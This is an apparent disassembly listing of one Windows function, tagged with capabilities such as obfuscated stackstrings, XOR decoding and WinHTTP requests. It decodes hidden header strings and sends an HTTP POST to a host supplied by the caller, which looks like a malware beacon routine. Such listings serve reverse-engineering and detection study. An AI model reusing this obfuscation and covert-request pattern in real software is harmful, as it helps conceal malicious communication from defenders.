Function at 0x4054e1
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push 0xa1c
mov eax, 0x4dcb8e
call fcn.004c1130
mov dword [ebp - 0xa24], edx
mov edi, ecx
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa28], eax
and dword [esi + 0x10], 0
cmp dword [esi + 0x14], 0x10
jb 0x405512
mov eax, dword [esi]
jmp 0x405514
mov eax, esi
mov byte [eax], 0
call fcn.004051b8
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0xa1c], eax
call fcn.004051b8
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x9fc], eax
call fcn.004051b8
push 0x20
pop ebx
push 0x40
cmp dword [eax + 0x10], 0
pop ecx
cmovne ebx, ecx
mov dword [ebp - 0x17a], 0x42424219
mov dword [ebp - 0x17e], 0x42124214
xor ecx, ecx
mov dword [ebp - 0x182], 0x420d4213
mov dword [ebp - 0x186], 0x424e4254
mov dword [ebp - 0x18a], 0x425d425e
mov dword [ebp - 0x18e], 0x42594250
mov dword [ebp - 0x192], 0x426e4222
mov dword [ebp - 0x196], 0x4207425e
mov dword [ebp - 0x19a], 0x421d426b
mov dword [ebp - 0x19e], 0x4273426b
mov dword [ebp - 0x1a2], 0x42224207
mov dword [ebp - 0x1a6], 0x425e421d
mov dword [ebp - 0x1aa], 0x4214425e
mov dword [ebp - 0x1ae], 0x421d4222
mov dword [ebp - 0x1b2], 0x426e4274
mov dword [ebp - 0x1b6], 0x4222424f
mov dword [ebp - 0x1ba], 0x424b4253
mov dword [ebp - 0x1be], 0x425e4254
mov dword [ebp - 0x1c2], 0x4259426b
mov dword [ebp - 0x1c6], 0x42224207
mov dword [ebp - 0x1ca], 0x42124214
mov dword [ebp - 0x1ce], 0x42094222
mov dword [ebp - 0x1d2], 0x427d4279
mov dword [ebp - 0x1d6], 0x426f4275
mov dword [ebp - 0x1da], 0x42224207
mov dword [ebp - 0x1de], 0x425d4256
mov dword [ebp - 0x1e2], 0x42604259
mov dword [ebp - 0x1e6], 0x424e4261
mov dword [ebp - 0x1ea], 0x42524255
mov dword [ebp - 0x1ee], 0x4253425f
mov dword [ebp - 0x1f2], 0x421a4222
mov dword [ebp - 0x1f6], 0x42124214
mov dword [ebp - 0x1fa], 0x420d4213
mov dword [ebp - 0x1fe], 0x42614256
mov dword [ebp - 0x202], 0x42564259
mov dword [ebp - 0x206], 0x42484253
mov word [ebp - 0x208], 0x4275
mov al, byte [ebp + ecx - 0x208]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 0x92
jl 0x4056b8
xor eax, eax
push 0x208
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.004be330
push ebx
push dword [ebp - 0x9fc]
lea eax, [ebp - 0x208]
push dword [ebp - 0xa1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.004bb328
add esp, 0x28
xor eax, eax
push eax
push eax
push eax
push 1
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ebx, eax
mov dword [ebp - 0xa20], ebx
test ebx, ebx
je 0x4059ad
mov eax, 0x2710
push eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
push 0
push 0x50
push edi
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0xa1c], eax
test eax, eax
je 0x4059a5
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp - 0xa24]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x40599d
mov dword [ebp - 0x7e], 0x42424238
xor ecx, ecx
mov dword [ebp - 0x82], 0x42354238
mov dword [ebp - 0x86], 0x4235425e
mov dword [ebp - 0x8a], 0x425d425e
mov dword [ebp - 0x8e], 0x4253425f
mov dword [ebp - 0x92], 0x4254425d
mov dword [ebp - 0x96], 0x42564250
mov dword [ebp - 0x9a], 0x424d4215
mov dword [ebp - 0x9e], 0x42554250
mov dword [ebp - 0xa2], 0x4253425c
mov dword [ebp - 0xa6], 0x4215424b
mov dword [ebp - 0xaa], 0x424b424b
mov dword [ebp - 0xae], 0x4215424a
mov dword [ebp - 0xb2], 0x42134254
mov dword [ebp - 0xb6], 0x42534259
mov dword [ebp - 0xba], 0x424e4261
mov dword [ebp - 0xbe], 0x425f4259
mov dword [ebp - 0xc2], 0x42564252
mov dword [ebp - 0xc6], 0x42524261
mov dword [ebp - 0xca], 0x4208425d
mov dword [ebp - 0xce], 0x42524249
mov dword [ebp - 0xd2], 0x426e4215
mov dword [ebp - 0xd6], 0x424e4254
mov dword [ebp - 0xda], 0x425d424e
mov dword [ebp - 0xde], 0x42544253
mov word [ebp - 0xe0], 0x427f
mov al, byte [ebp + ecx - 0xe0]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0xe0], al
inc ecx
cmp ecx, 0x66
jl 0x405890
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0xa18]
call fcn.004034e9
and dword [ebp - 4], 0
mov eax, dword [ebp - 0xa28]
mov ecx, eax
push 0
push dword [eax + 0x10]
push dword [eax + 0x10]
call fcn.00401a15
push eax
push dword [ebp - 0xa08]
lea ecx, [ebp - 0xa18]
call fcn.004035b9
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x405987
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x405987
and dword [ebp - 0xa00], 0
push 0x5dc
lea eax, [ebp - 0x9f7]
mov byte [ebp - 0x9f8], 0
push 0
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0xa00]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x405987
cmp dword [ebp - 0xa00], 0
je 0x405987
and dword [ebp - 0x9fc], 0
lea eax, [ebp - 0x9fc]
push eax
push 0x5dc
lea eax, [ebp - 0x9f8]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x405987
push dword [ebp - 0x9fc]
lea eax, [ebp - 0x9f8]
mov ecx, esi
push eax
call fcn.0040531a
cmp dword [ebp - 0xa00], 0
ja 0x40590d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa18]
push 0
push 1
call fcn.00403864
push edi
call ebx
push dword [ebp - 0xa1c]
call ebx
push dword [ebp - 0xa20]
call ebx
mov eax, dword [esi + 0x10]
call fcn.004c10df
ret